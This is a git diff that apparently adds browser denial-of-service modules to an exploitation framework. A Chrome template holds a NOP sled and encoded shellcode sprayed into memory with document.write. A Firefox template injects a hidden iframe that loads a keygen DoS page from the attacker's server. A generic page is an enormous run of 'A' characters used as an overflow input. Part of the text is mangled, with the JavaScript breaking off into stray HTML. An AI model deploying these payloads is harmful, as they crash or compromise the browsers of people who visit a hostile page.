    + diff --git a/modules/browser/dos_chrome/name.txt b/modules/browser/dos_chrome/name.txt new file mode 100644 index 000000000..28748f32b --- /dev/null +++ b/modules/browser/dos_chrome/name.txt @@ -0,0 +1 @@ +DoS Chrome diff --git a/modules/browser/dos_chrome/template.js b/modules/browser/dos_chrome/template.js new file mode 100644 index 000000000..f33d180e5 --- /dev/null +++ b/modules/browser/dos_chrome/template.js @@ -0,0 +1,6 @@ +var nop_sled=unescape("%u9090"); +var shellcode_sled=unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065"); +for(var i=0;i<64;i++){ + nop_sled=nop_sled+nop_sled; + document.write(' + + +
    DoS Firefox (Keygen)
    +This will DoS firefox and give very limited interaction. A dialog will be displayed repeatedly.

    +
    +
    + + +
    +
    + diff --git a/modules/browser/dos_firefox/name.txt b/modules/browser/dos_firefox/name.txt new file mode 100644 index 000000000..068fa6931 --- /dev/null +++ b/modules/browser/dos_firefox/name.txt @@ -0,0 +1 @@ +DoS Firefox (Keygen) diff --git a/modules/browser/dos_firefox/template.js b/modules/browser/dos_firefox/template.js new file mode 100644 index 000000000..50c98f1ec --- /dev/null +++ b/modules/browser/dos_firefox/template.js @@ -0,0 +1,12 @@ +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = beef_url + 'modules/symmetric/xplt_firefox_dos/ffkeygendos.html'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Request Sent"; +} + +return_result(result_id, do_main()); \ No newline at end of file diff --git a/modules/browser/dos_generic/browserdos.html b/modules/browser/dos_generic/browserdos.html new file mode 100644 index 000000000..04bfe7576 --- /dev/null +++ b/modules/browser/dos_generic/browserdos.html @@ -0,0 +1,4 @@ + + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA